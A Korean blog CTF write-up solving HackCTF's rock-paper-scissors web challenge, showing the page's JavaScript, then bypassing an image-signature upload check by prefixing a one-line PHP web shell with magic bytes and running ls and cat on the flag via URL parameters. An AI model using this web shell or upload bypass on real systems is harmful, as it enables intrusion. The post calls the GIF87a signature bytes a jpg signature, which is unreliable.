본문 바로가기
웹 해킹/CTF

[HackCTF] 가위바위보

by L3m0n S0ju 2021. 10. 17.

 

 

 

 

 

문제 서버에 접속하면 위와 같이 가위바위보를 할 수 있습니다. 스크립트 부분의 코드는 아래와 같습니다.

 

 

<script>
//RPS thing
function startGame() {
document.getElementById("startButton").classList.add("kill");
document.getElementById("startText").classList.add("kill");
setTimeout(spawnMenu, 200);
}

function delID(id) {
var elem = document.getElementById(id);
elem.parentNode.removeChild(elem);
}

function spawnMenu () {
delID("start");
document.getElementById("menu").className = "alive";
}

var ourchoice = 0;
var theirchoice = 0;

function chosen(type) {
var rock = document.getElementById('rock');
var paper = document.getElementById('paper');
var scissors = document.getElementById('scissors');
var txt = "선택: <b>";

ourchoice = type;
if (type == 0) { //Rock
rock.classList.add("kill");
paper.setAttribute('onclick', "");
scissors.setAttribute('onclick', "");

txt += "바위!";
} else if (type == 1) { //Paper
rock.setAttribute('onclick', "");
paper.classList.add("kill");
scissors.setAttribute('onclick', "");

txt += "보!";
} else if (type == 2) { //Scissors
paper.setAttribute('onclick', "");
scissors.classList.add("kill");
rock.setAttribute('onclick', "");

txt += "가위!";
}

txt += "</b>";

var choicetext = document.createElement("h2");
choicetext.innerHTML = txt;

attr = document.createAttribute("align");
attr.value = "center";
choicetext.setAttributeNode(attr);

style = document.createAttribute("style");
choicetext.setAttributeNode(style);

choicetext.setAttribute("style", "opacity: 0.6;");

document.body.appendChild(choicetext);
setTimeout(EnemyProcess, 200);
}

function EnemyProcess () {
rock.classList.add("kill");
paper.classList.add("kill");
scissors.classList.add("kill");

setTimeout(Enemy, 150);
}

function Enemy () {
var enemytext = document.createElement("h2");
enemytext.innerHTML = "상대: <b>";
var choice = Math.floor(Math.random() * 3);

theirchoice = choice;
if (choice == 0) {
enemytext.innerHTML += "바위!</b>";
} else if (choice == 1) {
enemytext.innerHTML += "보!</b>";
} else if (choice == 2) {
enemytext.innerHTML += "가위!</b>";
}

attr = document.createAttribute("align");
attr.value = "center";
attr2 = document.createAttribute("id");
attr2.value = "center";
style = document.createAttribute("style");
enemytext.setAttributeNode(style);
enemytext.setAttributeNode(attr);

enemytext.setAttribute("style", "opacity: 0.8; margin-top:75px; font-size: 48px;");
document.body.appendChild(enemytext);

PrintResult();
}

function PrintResult () {
var text = document.createElement("h2");
attr = document.createAttribute("align");
style = document.createAttribute("style");
text.setAttributeNode(style);
text.setAttributeNode(attr);
text.setAttribute("style", "margin-top:25px; font-size: 48px;");

attr.value = "center";
var win = 0;

var _0x3eec=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x49\x74\x27\x73\x20\x61\x20\x74\x69\x65\x21","\x59\x6F\x75\x20\x77\x6F\x6E\x21","\x73\x74\x79\x6C\x65","\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x44\x45\x35\x33\x44\x3B\x20\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x32\x35\x70\x78\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x34\x38\x70\x78\x3B","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x59\x6F\x75\x20\x6C\x6F\x73\x74\x21","\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x45\x35\x33\x42\x33\x42\x3B\x20\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x32\x35\x70\x78\x3B\x20\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x20\x34\x38\x70\x78\x3B"];if(ourchoice== theirchoice){text[_0x3eec[0]]= _0x3eec[1]}else {if(ourchoice== 0){if(theirchoice== 1){win= 0}else {win= 1}}else {if(ourchoice== 1){if(theirchoice== 0){win= 1}else {win= 0}}else {if(theirchoice== 1){win= 1}else {win= 0}}};if(win== 1){text[_0x3eec[0]]= _0x3eec[2];text[_0x3eec[5]](_0x3eec[3],_0x3eec[4])}else {text[_0x3eec[0]]= _0x3eec[6];text[_0x3eec[5]](_0x3eec[3],_0x3eec[7])}}

document.body.appendChild(text);

document.getElementById("resetButton").className = "alive clickable";
}
</script>

 

 

 

 


처음에는 아래 부분을 보고 난독화를 해결하는 웹 리버싱 문제가 아닐까 했지만 16진수로 되어있는 부분을 아스키코드 문자열 형태로 변경해봐도 의미있는 함수나 힌트가 보이진않는다. 

 

 

 

 

 

 

 

위 그림의 오른쪽 상단을 보면 설정 창이 있다. 설정을 클릭해준다.

 

 

 

 

 

 

설정 창에 들어가면 프로필 이미지를 업로드 할 수 있는 창이 있으므로 웹쉘 문제가 아닐까 생각할 수 있다. 하지만 jpg나 png파일이 아니면 이미지 파일이 아니라는 오류가 뜬다. 확장자를 거짓으로 jpg를 붙여도 이미지 파일이 아니라고 하는 것을 보아 확장자가 아닌 파일 시그니처로 이미지 파일인지 아닌지 판별한다는 것을 추측할 수 있다. 따라서 jpg의 시그니처인 47 49 46 38 37 61 를 웹쉘 앞에 붙여서 파일을 올리면 이미지 파일로 인식된다. 웹쉘 php 코드는 아래와 같다.

 

 

<?php echo shell_exec($_GET['cmd']); ?>

 

 

HxD로 웹쉘앞에 jpg 시그니처를 추가해주고 이미지를 업로드하면 이미지 파일로 판별된다. 

 


 

 

 

 

 

 

소스를 보면 이미지 파일은 avatars/lemon_soju에 있는 파일을 가져오므로 /avatars/lemon_soju 위치로 이동하면 위와 같이 무언가 일어났다는 문구가 출력됩니다. 이런식으로 오류가 발생하므로 lemon_soju이름과 이미지 이름을 맞춰줘야합니다. 따라서 이름을 파일이름과 같게 맞춰준 후 아래와 같은 주소로 이동하면 쉘을 획득할 수 있다.

 

http://ctf.j0n9hyun.xyz:2037/avatars/hello01.php?cmd=ls 

 

 

 

 

 

 

 


http://ctf.j0n9hyun.xyz:2037/avatars/hello01.php?cmd=cat%20./../flag.txt 를 입력하면 플래그가 출력된다.

'웹 해킹 > CTF' 카테고리의 다른 글

XSS(Cross Site Scripting), CSRF(Cross Site Request Forgery) 개념  (0) 2021.11.12
[HackCTF] Cookie  (0) 2021.10.17
[HackCTF] Home  (0) 2021.10.17
[HackCTF] Input Check  (0) 2021.09.16
[HackCTF] Time  (0) 2021.09.16

댓글